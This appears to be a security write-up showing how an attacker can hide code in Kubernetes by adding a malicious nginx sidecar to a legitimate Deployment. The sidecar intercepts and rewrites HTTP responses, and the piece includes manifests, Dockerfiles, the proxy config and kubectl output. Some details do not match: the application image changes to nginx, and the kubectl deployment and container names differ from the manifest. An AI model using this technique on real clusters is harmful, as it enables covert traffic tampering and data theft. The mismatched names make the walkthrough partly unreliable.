A Kubernetes Pod is a group of one or more containers with shared storage and network resources. Sidecar container is a term that is used to describe an additional container that resides alongside the main container. For example, service-mesh proxies are operating as sidecars in the applications’ pods. Attackers can run their code and hide their activity by injecting a sidecar container to a legitimate pod in the cluster instead of running their own separated pod in the cluster.
We assume that there’s a very simple web server deployed in Kubernetes with the following deployment.
apiVersion: apps/v1
kind: Deployment
metadata:
  name: simple-application
  labels:
    app: simple-application
spec:
  replicas: 1
  selector:
    matchLabels:
      app: simple-application
  template:
    metadata:
      labels:
        app: simple-application
    spec:
      containers:
      - name: application
        image: simple-application-image
        imagePullPolicy: Always
        ports:
        - containerPort: 80
The simple-application is written in Go and the following is it’s full source code stored (main.go):
package main
import (
  "fmt"
  "log"
  "net/http"
)
func rootHandler(w http.ResponseWriter, r *http.Request) {
  w.Header().Set("Content-Type", "text/html")
  w.WriteHeader(http.StatusOK)
  fmt.Fprintln(w, "Hello World!")
}
func main() {
  http.HandleFunc("/", rootHandler)
  log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
The image can be built by using the following Dockerfile.
FROM golang:alpine as builder
RUN mkdir /build 
ADD . /build/
WORKDIR /build 
RUN GO111MODULE=off CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -ldflags '-extldflags "-static"' -o main .
FROM scratch
COPY --from=builder /build/main /app/
WORKDIR /app
CMD ["./main"]
An attacker could now extend the deployment my adding an additional container, move the open port to it and end up with the following.
apiVersion: apps/v1
kind: Deployment
metadata:
  name: simple-application
  labels:
    app: simple-application
spec:
  replicas: 1
  selector:
    matchLabels:
      app: simple-application
  template:
    metadata:
      labels:
        app: simple-application
    spec:
      containers:
      - name: application
        image: nginx
        imagePullPolicy: Always
      - name: evil-sidecar-proxy
        image: evil-sidecar-proxy
        imagePullPolicy: Always
        ports:
        - containerPort: 80
The evil-sidecar-proxy is just a very simple nginx reverse proxy. The following is it’s full configuration (nginx.conf).
error_log /dev/stdout info;
events {
  worker_connections  4096;
}
http {
  include    mime.types;
  access_log /dev/stdout;
    server {
            listen 80 ;
            listen [::]:80 ;
            server_name _;
            location / {
                proxy_pass http://localhost:8080;
                sub_filter 'Hello World!'  'Hello Evil World!';
            }
    }
}
The Dockerfile is even simpler and just adding the custom configuration file.
FROM nginx:alpine
COPY nginx.conf /etc/nginx/
Using this deployment, the traffic to the simple-application is intercepted by the evil-sidecar-proxy and the later modifies the HTTP response. Like this an attacker could e.g. inject malicious JavaScript code or the proxy could also exfiltrate data that is transferred.
$ # Send HTTP request to the web server directly on it's local port 8080 (so no sidecar magic involved)
$ kubectl exec -it deployments/nginx-deployment -c sidecar-proxy -- curl localhost:8080
Hello World!
$ # Send HTTP request to the web server through the published port 80 (includes sidecar magic)
$ kubectl exec -it deployments/nginx-deployment -c sidecar-proxy -- curl localhost:80  
Hello Evil World!